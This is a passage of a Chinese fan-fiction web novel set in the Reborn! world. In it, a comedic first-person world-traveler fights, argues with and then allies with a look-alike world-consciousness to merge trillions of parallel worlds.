“我喜欢这种能力。”卷王说着,将头歪到了一边,眼白在眼眶中蔓延,很快就将瞳孔就侵蚀了个干净。 纯白的眼睛,没有一丝接口瑕疵,基弧完美贴合——这么好质量的美瞳,究竟要去哪里才能买到! 很快,只是几个呼吸的时间,捆绑在祂身上的咒力绳索开始挪动。 我皱眉,这可不是我在行动。 很快我就注意到,那些白绳不仅仅是挪动,而是在缩短变细…… 是吸收! 卷王在用自己的身体,用身体里那一个个缺口吸收着那些白色的咒力。祂的喉结上下动着,仿佛故意做出了这等吞咽的动作,明晃晃地挑衅。 祂眼睛里的白色也随着吸收的进程愈发明亮,我明知道这是我吃瘪的象征,但还是按捺不住想要求一个链接的心。这个白色的美瞳太精髓了,简直是COS日向宁次的神器。 不知道,日后有没有机会让卷王给我做一个同款。 咳——严肃起来,情绪也起来! 岂有此理!自从拥有了「书」之后,从来都是我拷贝别人,什么时候被人拷贝过!? 就是这个情绪、这个感觉。 我反手抓住绳索,用力向外拽。 两相抵抗的拉力之下,绳索卡入了肉中,极致用力的地方,甚至削掉了卷王右边的一半胳膊。 那半个坠下的胳膊就像是人参果一样,落地无痕,沿着卷王的脚边重新流入了祂的身体。紧接着,手臂的切口处就重新生长出来一个一模一样的胳膊——宛如某种液体。 难道说,卷王是水做的。 只是这个新的胳膊,在长出伊始,明显有石头般的灰色质感。只是这种质感持续的时间极短,短到肉眼难以捕捉,睫毛上下一扇,那截手臂外侧便已经覆盖上了皮肉,恢复如初。 所以,卷王其实是泥做的? 既是水又是泥——懂了,卷王是水泥。 至少,我先前的好奇也算是有了答案。 卷王腰斩也不会变成两个卷王的。 我的扯动,只能收紧绳索,只要我不有意识地撤回咒力,那绳索再多,都会被卷王所吸收——祂果然很容易兼容咒力。 另一方面,文字凝聚成的另一个体系的力量——「书」的本体力量,对有固定思维模式、还依赖于7^3力量的卷王来说,可就没有那么好解构了。 穿在骨骼、关节和内脏中的尖刺,无疑限制了卷王的行动。 但这还不够,远远不够。 祂也是个狠人,徒手扒开伤口,想要用自己的指头,直接将刺剜出来。 “没有用的。”我握紧了拳头,卷王身体内的文字也随着我的动作,用力地朝着所有方向说动,嵌入到了卷王身体的深处。 不仅仅是祂肉|体表现的“深处”,而是更加致命的地方。 卷王的脸色也变了,祂捅到身体里的手,没有直接触碰到那些根刺,但感知上,却能清晰地意识到它们的存在,在灵魂深处感受到它们的存在。 「书」和7^3石板是同一个维度的东西,它们都是某个世界的“本质”。 同样级别的东西,当然就可以互相伤害。 “感觉到了吧,它在撬动你。”我话音一落,卷王那纯白的眼睛里,突然崩开了一条石头般灰色的裂痕,在这条缝隙里,一根短刺尖尖凸了出来,微弱的存在几乎和睫毛融为一体。 而我心里只有得意。 看到了吧,这就是我的建模!这就是我的睫毛! 什么叫小扇子、什么叫睫毛小金刚,什么叫天生丽质,我就是模型。只要我保护好我的睫毛,不整什么幺蛾子,那我以后COS都不需要再用假睫毛了! 怒省30块! 这就是晴之火焰制造出来的毛发——晴之火焰,永远的神。 要是以后,我能用晴之火焰来帮人植发植睫毛的话……那我岂不是发达了!这可几乎已经算是当代刚需。 新的创收途径增加了。 第153章 以后能不能把晴之火焰开展成新业务这件事我不知道, 我现在唯一确定知道的是,卷王肯定是需要一点晴之火焰来治愈自己了。 其他地方的「文字」或许一时间都不会直接威胁到卷王,但从祂右眼中刺出的那一部分, 却让卷王神色大异。 究其原因, 是这个瞳孔所处的特殊位置——那里一定对应着玛雷指环在7^3石板上的区域范围。 卷王的身体本质是7^3石板,所以祂身体的每个部分,都应该有相对应的石板范围。按理来说, 这种对应关系应该只有卷王一个人知道,祂也不会将如此重要的事轻易暴露给他人。 ——“他人”,特指我。 但卷王不说,我也通过祂的一些行为动作, 推断出一些细节。 比如祂断裂的胳膊, 能够轻易被咒力这样和火焰近似的体系的力量切断,并且有过明显的石化感,说明胳膊的位置至少没有对应任何一个基石宝石所在的位置;同理,祂右瞳多次变化着和火焰相对应的色彩,说明了右瞳的位置一定对应了某个或是某组基石所在的位置。 我猜是玛雷指环, 甚至很可能直接对应着白花花的大空指环。 原因说起来也很简单——诚然, 只要7^3基石仍在石板上,身为石板化身的卷王就能轻易操纵任意一种力量。 但是, 想要将如此复杂的力量运用自如, 绝对不是一朝一夕就能做到的。哪怕是卷如卷王,也需要大量的时间去尝试和适应, 使用火焰时需要不断变色的瞳孔就是证明。在现阶段, 祂想要精准地使用某个力量, 就需要将代表这个力量的基石专门提取出来。那么使用时, 会不断替换的就不仅仅是火焰对应的颜色, 基石所对应的位置也一定会浮现。 所以别的地方不提,玛雷指环所对应的,一定是右瞳。 这个地方被「文字」刺入桎梏,意味着玛雷指环的力量被暂时冻结,至少卷王不能再像先前那般如臂使指。所以我看卷王都恨不得连带着那一根和睫毛融为一体的细刺一起,直接将眼珠子也抠出来了事。 但可惜,这种简单粗暴的方式注定不可能生效。祂已经在身体当中尝试过了,尝试将体内的刺剜出来,结果如何? 「文字」所带来的伤害和外化的身体无关,而是直戳本源。除非祂真有胆识能在我面前,将玛雷指环从7^3石板上抠下来细细处理,否则再怎么对刺动手,都于事无补。 不知是不是因为7^3石板这个本体遭受冲撞的缘故,卷王那裂开的瞳孔边缘,石化感更加清晰,甚至已经蔓延到了眼皮外侧,就连睫毛都根根分明的,像是被精心雕刻的石头。 “为什么?为什么要阻止我?”卷王不解,祂紧紧地盯着我,眼里不似先前被我坐在屁股底下时的羞愤恼怒,反而在石化蔓延的眼睑中,显得格外清澈,一望见底。 为什么? 卷王真的有必要在这个时候,询问为什么吗? 我打出一个问号,“你这话就问得奇怪了,你已经明明白白地告诉我,你要入侵世界之外、统治我的世界,竟然还要问我为什么要阻止你?不阻止,难道还要夹道欢迎不成?” 这之间的立场难道也有争议吗? 我不理解卷王,同样的,卷王也不理解我。 祂眼中所见的一切,从来都是极具目的性的东西。在祂的大数据计算池里,什么人在什么事上应该赞同,什么人在什么事上应该反对,是不应有变的既定事实。 所以听到我的反问后,祂依然在自己的逻辑里,理直气壮,“你要保卫自己的世界,为此而阻止我,这当然没有问题。但,那也是之后的事了,不是吗?我现在正在做的,并非是入侵你的世界,只不过是整合废弃的平行线而已,与你并无坏处。相反,你难道不该赞同我现在的行为吗?” “赞同?”我挑着一边的眉,再次确认了一下卷王的眼神,“你是认真的。” “我当然是认真的。反倒是你,你不会是编故事编得抬真实,以至于连自己都相信了吧?重启所有的世界……哈,‘重启’本来就不是他们理解的那样,将所有的世界线回溯到某个毁灭前的时间点重新开始,所谓‘刷新’的意义,其实更为彻底。真正的重启,是会刷出一个新的起点,一个新的「原始点」,一个唯一的「原始点」。以从这个原始点为核心,原始点的过去将被永久固定,而在原始点后,一切存在过的未来将会被抹去,从原始点开始开启一系列新的未来、创建新的平行世界。” 卷王说着,眼里多了几分嘲弄,但我隐约能够感觉到,祂不是在嘲弄我,而是在嘲弄根本不在眼前的纲吉,那个轻信了我的纲吉,“你还真会说,他们恐怕一点都没有怀疑过你吧。如果以沢田纲吉返回到十年前的时间为节点进行重启刷新的话,莫说是其他平行时空,就连他们现在所处的十年后的世界都会因为重启而消失。新的‘十年后’是以新的‘十年前’为过去的‘十年后’,原本的‘十年后’世界在重启后的世界里,将从未存在过。” 一连串的话说得可真绕。 卷王说话时那一副理所当然的样子,我差点就真的信了。 这不对啊,我看的原作动漫里,可不是这么写的! 原作明明在结尾给了270一个单独的镜头,我记得非常清楚。 ……难道我看了个假漫画?还是说我记错了? 我看的那些,其实是某个同人而已吗? “假死的人尚且如此,真实死亡的人的结局,自然就更加无法改变。7^3组成的力量可以做到很多事,但死而复生却不在其中,已经发生过的时间无法改变。你难道没有想过吗,不论是时间基石还是彭格列指环,都已经存在许久,为何在此之前,从未有过穿越之事?那是因为7^3之中,有一角一直没有被激活过,在此之前,7^3一直都不完整也不稳定。时间穿越,本身就不是单一能够存在的力量。 你所知道的十年炮筒和白色装置之所以能存在,是因为白兰激活了平行空间线——时间和空间,这两大基石看似没有联系,但如果二者真的没有联系,那彩虹之子的‘点’又如何能够存在?答案只有一个,这些装置本来就不完全是在单一时间线上运行,而是在平行线交错的时间线上运行。想要通过改变过去而改变未来,是决计不可能的。否则——白色装置就不会用来将沢田纲吉等人从十年前带到未来,而是会将未来的人送回过去,以杀死白兰,终结那个注定毁灭的未来。” 通过时间穿越操纵过去,进而改变未来是无法实操的行为。即使能够成功,也必然会因为“选择”而创造出新的平行线。一旦出现新的平行线,就等于进入了白花花的知识体系、给了白花花预警。 所以不论理论是否可行,这件事实际都是无法推进的。 正一那么聪明的人,如果这种简单直接的方式能够奏效的话,也轮不到我在这里口嗨。 所以,如果没有平行世界的概念,时间穿越就很容易出现悖论。 卷王曾经是世界意识的一部分,祂对7^3的了解、对世界规则的了解,远非我这个看漫画的局外人能够相提并论。所以我虽然面上不显,但实际上心里却已经信了三分。 “所以,从最一开始,你和沢田纲吉之间的共同方向就不存在,你承诺的那些,原本就没有实际意义。”卷王右瞳中的尖刺越来越突出,石化蔓延了半张脸,脸颊上甚至隐隐浮现出了一些独属于7^3石板的特殊花纹,“所以我不明白,你到底为什么要在这件事上和我作对?” “和那些复杂的理论都没有关系,”对祂的话,我虽然相信了大半,但却没有被祂的逻辑绕进去,“只不过是唇亡齿寒罢了。你对付完了这些世界、将一切你能够拥有的后路都斩断了,剩下不就是背水一战?那时的我孤立无援,自然就成为了你再无缓冲的唯一目标。” 敌人的敌人是朋友,这个道理在我这里自然也是适用的。 当然需要特别声明的是,不论发生什么,卷王都不是我的敌人,祂是我的大宝贝! 只不过攻略大宝贝的进度似乎仍然卡在加载界面的样子。 卷王歪着头,似乎在认真思考我的话,将我的意见纳入了祂的智能数据库。但半晌,祂还是摇了摇头,“和沢田纲吉的需求相比,和这个世界上其他任何人的需求相比,在毁灭平行宇宙这件事上,你永远都应该是我的同伴。” 同伴?攻略进度+10%! 我挑眉,示意祂继续说下去。 “维度的壁垒是固定的,平行世界越多,最外围的壁垒就越薄。就我所知道的、经历的事实而言,八兆亿就是一个临界点。当平行世界的数量达到了八兆亿的时候,世界之内的人,就有机会突破到了世界之外的边缘地带——实际,那个时候的‘白兰’也确实突破到了你的面前,不是吗?所以你才出现在了这里。难道——你不是为了确保那样的事不再发生,才决意来到这个世界的吗?”?! 我瞳孔一缩,瞳心几乎竖成了字面意义上的感叹号,直观地表达着我的震惊。 虽说,在发现平行世界壁垒薄厚不一的时候,我就隐约推导出了这一点。但当这个结论,真正被卷王如此权威地说出口时,我的心脏还是忍不住地重重一跳。 卷王毕竟也是在复杂的世界意识中,诞生出来的实体。祂的大数据流行动方针,有时候真的很能拿捏人。 我的嘴唇不自觉地抿在一起,完美COS假发人的好朋友抿嘴哥,甚至想要拉起嘴角都做不到。 卷王的话确实是直击要害,不论有什么附加目的,哪怕是追求卷王这么重要的事,都一定是排在保护穿越司安全之后的。 祂能如此笃定,也必然是猜到了我目的的优先级。 “所以,我们完全可以先在整合平行世界线这件事上,达成共识——至少在这件事上,达成共识。”祂压低了嗓音,是我以前整活时用过的超绝装X气泡音,带着隐隐诱哄的语气,“只需要在这件事上达成共识,如果你肯与我合作的话,我们联手,整合平行宇宙的效率也会大大增加。” 八兆亿个世界,哪怕是一秒过一个世界,也要八兆亿秒——那得是多长时间? 我这个文科脑没有计算机,一时半刻都反应不过来。 但听数字都觉得,那是我一辈子的长度了。 卷王对事情的评判是站在世界意识这样的宏观视角,在世界意识的维度里,一天两天、一年两年,甚至一百年两百年,或许都没有多大差别吧。 但我穿越几千个世界的时间就已经要死掉了,八兆亿?不如现在就杀了我。 “这还是我在你身上学到的——只要有共同的利益,就可以暂时同行。”卷王接着还提起了祂独立的过程,“没有你的帮助,7^3的汇聚不会这么容易,我也不会这么快站在你的面前。既然当时的你我,没有对话仍然可以心照不宣,现在为什么不行呢?” 祂又顿了顿,“我可以承诺,在平行世界线整合完成之前,绝不会背刺你,我也相信你能够给我相同的承诺。” 相信世界意识不背刺我,不如相信猪会上树。 我被坑得少了吗? 而且,背刺被人对我来说也早已是常规操作,我自己都觉得自己没有那么值得信任。但卷王的语气太过笃定,有种一锤定音的实体感,让人忍不住想要跟随、想要服从。 这是什么迷惑人心的妲己Buff? “等到共同目的消失之后,再分道扬镳也无不可。”卷王可以让自己锋利的眉宇舒缓了一些,看着灰石质感、却又根根分明的眉毛蹙动,让我有种小脑萎缩的美感,“到时候,只留下一个战场,你我各凭本事即可,事后无悔。” 我得说,卷王的每一句话都很合理,很能说服人。 但这个结论,明显又通向另外一个深渊。 该如何选择才好? 该如何选择才正确? 难道要收服了卷王之后,一个人处理剩下的平行时空吗? 到时候我也要用这种卷王用过的方法吗?还是说,我应该按照正常的流程,让世界按照原本的计划重启刷新。那卷王提到的有关世界重启新情报,我要不要提前告诉纲吉,要不要提前将后果和纲吉说清楚。如果要的话,我又该如何和纲吉开口? 哪怕不考虑纲吉的态度和选择,或是干脆不说,直接推进世界重启,其结果也很可能会如卷王所说的那样,被刷新成一个新的点。只是换了个起点而已,换汤不换药,并不是改变了7^3存在的模式。只要7^3石板和三大基石仍然存在,这个世界就势必还会再次走上平行世界无限膨胀的老路,世界壁垒也会再次被压薄,最终很可能会在未来重复如今我正在经历的事——只不过那个时候,我面对的大概就不是十代目沢田纲吉,而是这个世界按照漫画完结时的大致方向,自由发展下去的未来。 也许到时候就是彭格列二十代目,或是杰索家族十代目了呢? 周而复始,永无止境。 如果一定要走到亲自动手整合平行世界的地步,那还不如现在就和卷王合作…… 等等,卷王是不是也在搞招聘,想要白|嫖我? 祂是不是在把那八兆亿的工作分摊给我? 岂有此理,我还没有招到祂,祂就已经先一步向我伸出橄榄枝了? 免费牛马竟是我自己,小丑的红鼻子不知为什么突然戴到了我的鼻子上。 这么看来,我和祂之间相像的,又岂止是一个建模而已。 卷王朝我的方向走了几步,无端增加了几分压迫感。祂仿佛是想要通过这样物理上缩短的距离,来拉近和我的心理距离。 此刻,我感觉我和卷王就像是两个互相想征服对方的专业攻略者,都想要让对方落入自己的罗网之中,甚至还用着同一张脸。 但不一样的是,因为「文字」和刺的存在,祂的骨骼关节难以自由伸展,这就导致祂的走路姿势有点……怪。 既然都是我的身体,我也就直白地说了,很像丧尸——而且是那种换身衣服本色出演,去COS植物大战僵尸里的僵尸,会被疯狂集邮的那种丧尸。 简直是先天COS圣体,但在眼下这样严肃的场合,未免显得有些——招笑。 我原本酝酿出来的那种愁肠百结,那些进退维谷,一下子就烟消云散了。 但卷王还非常严肃,眉目坚如磐石——不应该说“如磐石”,是字面意义上的,磐石。 不行,这个画面更好笑了。 但凡祂用一张陌生的脸,我都不会有这种感觉。 我咬紧了腮帮子,将这辈子悲伤的事都想了一遍——可终究,抿嘴哥还是蚌埠住了。 “噗——” 我喷笑出来的时候,卷王已经靠到了我面前,和我只有一臂的距离。 我严重怀疑我那一瞬间没有绷住的口水都喷到了祂脸上,因为就在我笑出来的瞬间,祂的神色带着莫名又带着怪异。 祂那从世界意识之中分离出来的正经的处理器,应该没有处理过太多无厘头的抽象问题,所以祂完全不明白,我是怎么从严肃纠结,瞬间跳脱到绷不住笑的地步的。 “你真的正常吗?”卷王在抄我建模的时候,或许也抄到了一些我的习惯,一个令人熟悉的战术性后仰,祂不解道:“还是你有病?” 祂这话说出来的时候,不带任何嘲讽或是阴阳怪气的味道,完全就是理智地、认真地在关心我的身体情况和精神状态。 有人能想象对面一个有自己脸的人,在用特别AI且认真的语气说出这两句问话时候的样子吗?在逗我笑这方面,卷王已经遥遥领先。 果然,无意识的喜剧天赋才是真正的天赋。 “我可能多少有点问题。” 直言不讳。 我相信真诚是永远的必杀技。 听到我这话,卷王不知为何,眼神中流露出几分担忧——切切实实的担忧,真实的担忧。 祂担忧我,祂关心我,祂好爱我! 我有戏! 第154章 虽然上学的时候没少跟着阅读理解嘲过阿Q, 但不得不承认,精神胜利法这种东西,有时候还真是好用。 且不管是卷王关心的目的是什么, 首先祂心里肯定是有我的。这么一想, 我就觉得我攻略祂,那真是大大的有机会! 当然,理智上来说, 卷王的情绪不会有废笔。未来如何不好说,但就当下而言,祂即使在一定程度上完成了独立化和人格化,但祂人格上的许多板块都没有发育完全, AI感远大于真人感。 如此模式下的卷王, 怎么会因为个人情绪而产生这样“担忧”的眼神和表情呢? 这只能说明我和祂还在一些我尚且还不知道的领域内有所联系。 祂虽然和我相斗,但却不希望我有病的样子。 我眼睛一转,卷王竟然如此注重食品安全吗? 我捏了捏手臂上的肉,就是不知道我咀嚼起来,是有嚼劲的类型, 还是入口即化的类型。 我的表情几变, 卷王似乎更确信我有什么隐形问题了,脸上的担忧中又添了几分纠结。 祂在纠结什么? 纠结我到底我能不能保障祂的食品安全吗? 我思考了一下平日里的饮食作息习惯, 已经上次学校体检的就结果……嗯, 我只能说,很难保证。 卷王欲言又止。 我干脆停了下来, 等着祂开口, 可半晌, 祂却没有把那呼之欲出的疑惑问出口, 几番纠结之后又发狠似的下定了决心——所有的担忧和纠结都变成了视死如归。 祂想字面意义上的吃掉我, 视死如归的难道不应该是我吗? 卷王眼神坚毅得就像祂那石化的眉目,“不论你有什么病,我们都可以延后再谈,现在最重要的,仍然只有那一件事,和我一起吧!” 此时,因为刚才那一段接着一段的僵尸步,祂已经近到了我面前。这样的距离,祂朝我伸出的手,几乎就在我鼻子下面。 真诚得让人不忍拒绝。 我伸出手,和祂手掌相接。 或许是因为那些「文字」的影响,祂的掌心很硬,也很热,像是桑拿房里的石头,甚至还有些烫手。 “你说得没错,平行世界之多,让人胆寒,继续存在确实是后患无穷——”我先是点头认同了卷王的理论,在祂露出满意神色之时,我话锋一转,“对我来说,确实是如此没错。但你为什么如此执着于毁灭平行时空,毁掉后路,对你来说有什么好处?” 在未独立前,卷王受到世界意识的影响,自然对给祂增加了八兆亿倍的工作深恶痛绝。但,独立之后,祂的存在和世界意识划清了界限。至少从目前来看,祂真正受情绪影响所做的决定极少。 ……好吧,被我视|奸|着跑路这件事除外。 不过,我还是想要确认一次,卷王自断后路的原因,我想要听祂亲口说。 “毁灭?那只是你们的说法,”卷王似乎是感受到了我的合作态度,于是也不兜圈子,“要我自己来说,我只是在整合,整个凌乱的空间线和交错的时间线——平行世界的膨胀本就不是好事,对于你,对于我,对于世界,都不是好事。” 卷王见我没有插嘴的意思,于是便很快接着说了下去,“世界之外担心平行世界膨胀之后的入侵,但‘壁’本就不仅仅是拘束,也是保护。一旦内外完全相交,这些平行世界,连带着世界的根源和主干,也就距离真正的毁灭不远了。” 我抬头,透过那微微发灰的天空,想象着天空之外的时空乱流。 确实,那样的乱流足以杀死大部分人,能够真正穿越的体质终究是少数。 “别人不清楚,但你应该知道,我虽然借助了7^3石板的力量,但我事实上并非是7^3的化身。如今我成为了独立的个体,也并不想回避我想要离开这里的事实。但我依然有保护这个世界的义务,我不能带着这个世界会完全毁灭的隐患离开。” 祂竟然还是个正面人物? 卷·灭霸·王。 我恍然大悟,“我现在总算是明白,7^3的三组基石里,你可以放任彩虹之子的大空尤尼在时空点上肆意跳跃,可以看着纲吉在时间线上穿越,却不能看着白兰存活。” “不论是彩虹之子的流窜,还是彭格列的穿越未来,都建立在平行时空的基础上,白兰才是根源。我会带着7^3的基石离开,断绝平行时空无限扩张的可能。”卷王的头僵硬了瞬间,似乎想要挪动一下眼球,将玛雷指环的大空宝石露出来,但被眼眶中伸出来的刺钉住了,只能无奈地用言语表述,“虽说玛雷指环是平行时空产生的核心,但白兰的体质和基石无关,只要他还活着、还存在于这个世界,风险就永远不可能完全消失——所以他必须死。” 卷王说这句话的时候并没有任何发狠的感觉,仿佛只是单纯地陈述一个事实,将那些祂和白花花之间的恩怨全都抛开了。 但我知道,不发狠也不意味着释然,那不是白花花非死不可的唯一原因。 “不只是因为这个吧,白兰和你之间的联系远不是纲吉、尤尼能比的。”铺垫了半天,总算是说到了正题,我不着痕迹地提起,在翻脸之前确认自己的杀手锏是否有效,“否则,你也不用等到我动手杀了白兰才崭露头角。” 当然,我察觉到卷王的存在是在白花花“死”前。但卷王自己又不知道,所以不妨碍我忽悠祂。 果然,自认为没有威胁的卷王异常坦然,祂很干脆地点了头,“事实上,在刷新那个房间中的人之前,纲吉和尤尼对我威胁和白兰是一个级别的。但不一样的是,纲吉和尤尼只会把我和你联系在一起,因为我和你有同样的面孔、同样的皮囊。可如果白兰还活着,他就不会如此单纯。” 换而言之,就是卷王觉得,纲吉和尤尼太单纯了。 这么说倒也没错,不过环绕在纲吉和尤尼身边的守护者和老师们可不单纯,卷王不会不知道那些人。 即便如此,祂还是单单防备着白花花一人,只能说明,白花花自有更加“不单纯”的地方—— 我一抬眼,心里已经有了答案,“白兰他,已经察觉到‘你’的存在了。” 我甚至没有用疑问的语气,而是一锤定音,充满了确信,“哪怕白兰一时无法形容‘你’的存在究竟算什么,但他一定已经意识到了,平行世界之间连通着的无形的‘你’。” 这是即使不频繁穿越,只通过连通平行世界的自己,也有机会发现的东西。 八兆亿个世界的重复,总会留下蛛丝马迹。 这里的“你”,并不完全是现在的卷王,更多是指世界意识。 只不过,那对于只有一种模糊感觉的白花花来说,无法清晰地分辨二者之间的区别。 “没错,虽然白兰没有和任何人提起过,但我还是感觉到了,主线世界的白兰在无数个重叠毁灭了的世界里,察觉到了‘活着的规则’。”卷王认了下来,“所以我不得不着急,所以他必须要在我降临之前死亡,而且不能死在我的手上。” 或者可以说,白花花不可能死在卷王的手上。 世界意识和世界壁垒一样,是桎梏、也是保护。其存在是因为世界的存在,动漫世界的存在仰赖于世界的核心支柱,也即是“主人公”以及以“主人公”为核心的主要角色团体。对于这个拥有基石设定的世界来说更是如此,卷王在独立之前,作为世界意识的一部分,绝不可能直接攻击三大基石之一的大空白花花。 所以,祂只能借我的刀来杀人。 一边担心着白兰察觉,一边担心着我的察觉,另一边还要观测着纲吉的行动进度。或许,将纲吉困在错误的时间线原本就是卷王的刻意为之。 纲吉这样的大空包容性极强,他很难帮助祂快速直接的杀死白花花。而卷王把纲吉等一众主角团困在错误的时间,当时正仇视白花花的我,就势必会主动站到台前来。 那时,以密鲁菲奥雷和彭格列的敌对程度,只要稍微推波助澜一下,我绝不可能对想要杀死我的白花花手下留情。 这一切发生的时间并不算长,但此间卷王的安排却环环相扣,让人哪怕有所察觉,也只能按照祂预想的道路前进。 这也难怪祂脸上会有如此得意的颜色。 但是,祂不知道,白花花还活着。 不仅活着,而且被我强行丢到穿越司里的白花花,肯定已经进一步确认了他那原本就存在的若有若无的猜测。 这么看来,我算不算是脚踏着卷王和白花花两条船。而且,卷王这个大冤种还不知道另一条鱼的存在,满心满意以为另一条鱼已经死了,殊不知小丑竟是祂自己。 但卷王也不能喊冤,毕竟祂自己对我也算是强制爱了一次,在八兆亿个世界里和我搞囚禁Play、让我走迷宫,最后还顺手来了一波祸水东引,将锅狠狠地甩给了白花花。 真是有什么锅配什么盖,我们俩究竟谁是渣男? 第155章 到此为止, 我几乎再没有什么想不通的地方。 卷王的计划,卷王的目的,还有一些来源于白花花的变故, 我都了然于胸。 说实话, 卷王作为世界意识那种以世界为眼、无处不在的感觉,着实让人感到毛骨悚然。反倒是现在独立的祂,显得无害了许多。 在和卷王的对话里, 我的疑问得到了解答,也在特定的问题上得到了想要的答案,确认了白花花这个没有被刷新过的7^3基石适格者、世界的主要组成角色对祂的威胁有多大。 有了这个前置条件,我自然就不着急了。 我笑了一下, 尽量让自己显得不那么得意, 尽量让自己看起来更谨慎更严肃,“事已至此,在共同的目标上倒是不用内耗。” 这个世界的平行时空太多,整合势在必行。 “但是,”我在卷王回话之前截断话茬, “‘整合’仅限已经被毁灭的世界。” 卷王闻言眉头一皱, 眼神中弥漫的不是思索和纠结,而是一种难以掩饰的反对状态。 祂拉我入伙可不仅仅是为了那无数对他毫无威胁的平行世界, 而是为了最中心的地方, 那个唯一活跃的主线世界。 祂已经尝试过突袭,可即使是在祂亲自掌控的小房间里, 在祂占尽了绝对优势的小世界里, 祂都没能对主角团一击必杀。根据卷王这半人机的经验库总结, 单独直面主角团就成了一种成功率很低的不理智的方案。 祂会顾忌、会想要让我加盟让我动手自然也就情有可原。 真把我当成了工具人。 只不过, 祂还没有来得及正式开口, 就已经被我提前回绝。 “你应该知道,只要主线世界还在,一定还会出现兆亿数量级的世界,治标不治本。”卷王试图用道理说服我,“十年就足以发展出八兆亿个世界——而这,已经是节制后的结果。” 节制后? 卷王的意思是,世界意识在此之前就已经尝试过节制平行世界的产生吗? 从结果来看,世界意识无疑是失败了。 很正常,世界意识要是成功了,不就没有未来篇了吗? “但,平行世界产生基点是7^3基石,尤其是玛雷指环。” 我据理力争,“白兰也是关键,没有适格者,就无法发动指环,这个世界产生发展至今,也只出现了一个白兰而已,他不会再在这个世界里自由发挥了。” “只出现一个白兰难道还不够吗?”卷王皱眉,像是很不喜欢我的用词,“只要还有一个世界存在,无限膨胀的未来就不可能真正意义上完全消失。” “我反倒是觉得,如果一切从头开始,反而更容易再次发展成现在的模样。”如果剧情从这里消失,让世界从原点开始,更像是在重启宇宙了。剧情难免会自行修正,那这里终究还是会孕育出新的7^3基石,新的白花花和新的平行世界。 倒不如让这个剧情永远过去,让“未来篇”彻底结束,这样反而不会重蹈覆辙。 只不过,这个理论的细节很难抛开漫画存在的事实而解释,于是我跳过了计算过程,直接用结果反问,“我杀了白兰,你带走了玛雷指环,还有什么不放心的?” 卷王的脸色很显然没有被我说服,但祂却在一番思索后退步了。 或者说,祂是将这个分歧延后了。 无论如何,祂现在打算要从外向内整合平行世界,那么最核心的主线世界自然就被排到了最后一步。 不管后面如何发展,先把利益一致的部分解决掉总没有错。 至于最后的结果…… 卷王收敛着神色,将祂的胸有成竹隐匿了起来。我假装没看到祂略显拙劣的左顾右盼,将必胜的心态掩藏起来。 说真的,我俩现在那个有点得意又有点心虚的状态,简直是一个莫子里刻出来的。 不对,本来就是一个莫子里刻出来的。 “啪”的一个响指,我撤掉了将卷王封死的“文字”,那些插在祂体内各个关节的尖刺和因为身体能量异常而出现的石化和硬化逐渐消散,祂的皮肤软化成了皮肉的正常质感,我的建模更加清晰。 我和卷王面对面地站着,祂简直就像是六耳猕猴化成的孙悟空。难怪当初猪八戒分不清真假,连我自己心里都犯嘀咕。 “开始?”我的手指在手环上滑动,这么多平行时空,八兆亿条线简直将这个世界的结构构筑成了迷宫。但别的地方不好定位,距离穿越司越近的那个点,对我来说,却是最容易找到的。 卷王的计划被我打乱了,我们二人现在正处于一个未知的时空点。不再拥有世界意识特权的祂,很难再找回最外延,但我却可以。 祂活动了一下有些僵直的手腕脚腕,似乎也是在探查体内是否有“文字”残留,也不知道祂有没有感觉到灵魂深处的异常。 不过,不论祂无论发现什么,都不影响现在的行动。 在毁灭——啊不对,是整合平行世界这件事上,只要我和卷王同心同力,不互相拖后腿,真的非常容易。 祂拥有7^3石板,拥有大量的火焰,可以轻易制造破坏世界内部的“天灾”,而我的存在可以轻易穿过世界壁垒,确保穿越路径的通畅。而且通常可以供人穿越的位置,也是世界壁垒最薄弱的地方。我和卷王里应外合,打破壁垒,让平行世界卷入时间乱流中便相当容易。 当然,话虽如此,可八兆亿的数字摆在那里,重复的机械性工作仿佛流水生产线上的一个环节。 我还没有毕业,就已经提前体验了进厂的感觉。 原来一直重复做一件简单的事,是如此让人身心俱疲的事。疲惫得让人连思考都懒得进行,只想让身体按照本能和惯性重复行动。 极度消耗人的意志。 在这样的工作线上,我甚至都想不起来最开始准备好的,一路上花言巧语撩卷王的打算。说不出骚话来,这种时候——当重复工作超过一兆亿次的时候,别说是骚话,我已经连嘴都不想张开了。 只有卷王,依然兴致勃勃,眼睛里满是亮光。 祂别说是感到疲倦,甚至都没有失去激情、没有失去高光。 祂这个不辞辛劳的精神,着实让人佩服,甚至让我产生了一种,祂是活人,而我是即将报废的机器人的感觉。 不对,真正人类是不会在这种牛马环境里神采奕奕的。 卷王果真不是凡人,哪怕人格化了,也不是凡人。 这样的天选之子,更应该安排在穿越司里了! 我持续地按照单向的既定路线行动,在无尽重复式工作里,忘记了时间的存在。 简直比最开始的那次无尽穿越还要磨人——那时候还有个可以释放仇恨的目标,这次真是拔剑四顾心茫然。 几千次的穿越就已经足以让我发神经,而现在,超越了某个临界点之后,我反而躺平进入了贤者时间。 随着平行世界整个的进度逐步推进,世界外的时空乱流也越来越强——如果说原本的时空乱流对我来说仿佛初冬时的寒风,那现在无疑已经开始数九,甚至隐隐有进入三九天的寒冷刺痛感。 正如我先前所预料的那样,被卷入的平行世界越多,时空乱流就越危险。 当然,有这些时空乱流的隔离和保护,世界内外的分界线也会越发清晰,像上次那样卷王控制着Ghost轻易穿过世界壁垒攻击穿越司的发生概率也会无限趋近于零。 这是件好事……吧? 临近世界中心,我强行让自己打起精神来,微微生锈的大脑开始尝试恢复运转。 有点困难。 我感觉被重复的工作狠狠地消磨了意志。 于是,我毫无征兆地在某个世界停住了。 正跟随我的位置,尝试逼近壁垒薄弱点的飓风岩浆龙卷自然也随我停了下来,调动着火焰力量的卷王茫然地看向我。祂没有说话,只是用眼神无声地询问着。 就是再没有默契的人,在共事了接近八兆亿次之后,也绝对足以变得心有灵犀。更何况,我和卷王之间的微妙联系从一开始就很深。 我自然接收到了祂的视线。 “缓一下。”我拍了拍石块上落着的火山灰,一屁股坐了上去,“乱流的压力太大了。” 卷王吸着气,收了收下巴,半信半疑中带着几分严肃的探究,“乱流会对你产生影响吗?” “当然有。”我回答。 时空乱流普遍存在于所有时间的外沿,这种自我保护、自我封闭的乱流攻击是无差别的,对内对外都一视同仁——也即,不论是从内穿向外,还是从外穿向内,原本都是不被规则允许的。而我这所谓的“穿越体质”,本质上其实是身体形式非常接近乱流的形式,以至于不会被乱流甄别为世界内外的任何一边。 但海水也会遭受浪花的冲击,我当然对乱流的波动有感觉。 听到我的答案,卷王有些担忧地开口,“这不会对你产生过度的影响吧?” 